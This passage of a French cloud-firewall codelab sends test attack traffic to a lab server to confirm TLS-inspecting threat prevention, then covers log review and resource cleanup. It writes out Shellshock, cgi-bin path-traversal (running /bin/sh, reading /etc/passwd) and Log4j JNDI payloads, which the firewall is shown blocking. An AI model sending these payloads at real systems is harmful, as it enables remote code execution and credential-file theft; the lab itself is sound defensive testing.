Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Envoyer du trafic de test malveillant au serveur:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Résultat attendu :

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Aucune réponse n'est reçue, comme indiqué dans la sortie attendue ci-dessous, ce qui confirme que les exemples d'attaques sont désormais bloqués pour E/W.

13. Journalisation

Accédez à Logging > Explorateur de journaux dans Cloud Console, saisissez le filtre ci-dessous et interrogez les journaux. Remplacez [PROJECT_ID] par votre project_id:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Les entrées de journal Cloud NGFW Enterprise doivent ressembler à ce qui suit:

Développez les entrées de journal et notez que les attaques envoyées de la VM cliente au serveur ont été identifiées et bloquées (Faille d'exécution de code à distance Apache Log4j, comme indiqué dans la capture d'écran ci-dessous).

Vous avez déployé Cloud NGFW Enterprise avec l'inspection TLS pour bloquer les requêtes malveillantes.

Passez à la section suivante pour connaître la procédure de nettoyage.

14. Procédure de nettoyage

Nettoyage de la configuration de base

Supprimez les instances:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Suivez les étapes ci-dessous si les rôles tagAdmin et tagUsers ont été modifiés:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Supprimez la clé et les valeurs de tag:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Supprimez la stratégie de réseau du pare-feu Cloud et l'association:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Supprimez le routeur Cloud Router et Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Supprimez les adresses IP réservées:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

SPG, association et nettoyage TLS de Cloud Firewall

Supprimez le groupe de profils de sécurité et le profil de menace dans l'ordre suivant:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Supprimez l'association du point de terminaison du pare-feu cloud:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Supprimez le point de terminaison du pare-feu Cloud, ce qui peut prendre environ 20 minutes:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

Vous pouvez également vérifier que le point de terminaison du NGFW Cloud a été supprimé en exécutant la commande ci-dessous:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

L'état du point de terminaison doit indiquer:

STATE: DELETING

Une fois la suppression effectuée, le point de terminaison ne s'affichera plus.

Supprimez la règle TLS et la configuration de confiance dans l'ordre suivant:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Désactivez et supprimez l'autorité de certification racine et le pool d'autorités de certification:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Nettoyage des sous-réseaux et des VPC

Enfin, supprimez le sous-réseau et le réseau VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. Félicitations !

Félicitations, vous avez terminé l'atelier de programmation sur l'inspection TLS Est-Ouest et Nord-Sud pour Cloud NGFW Enterprise.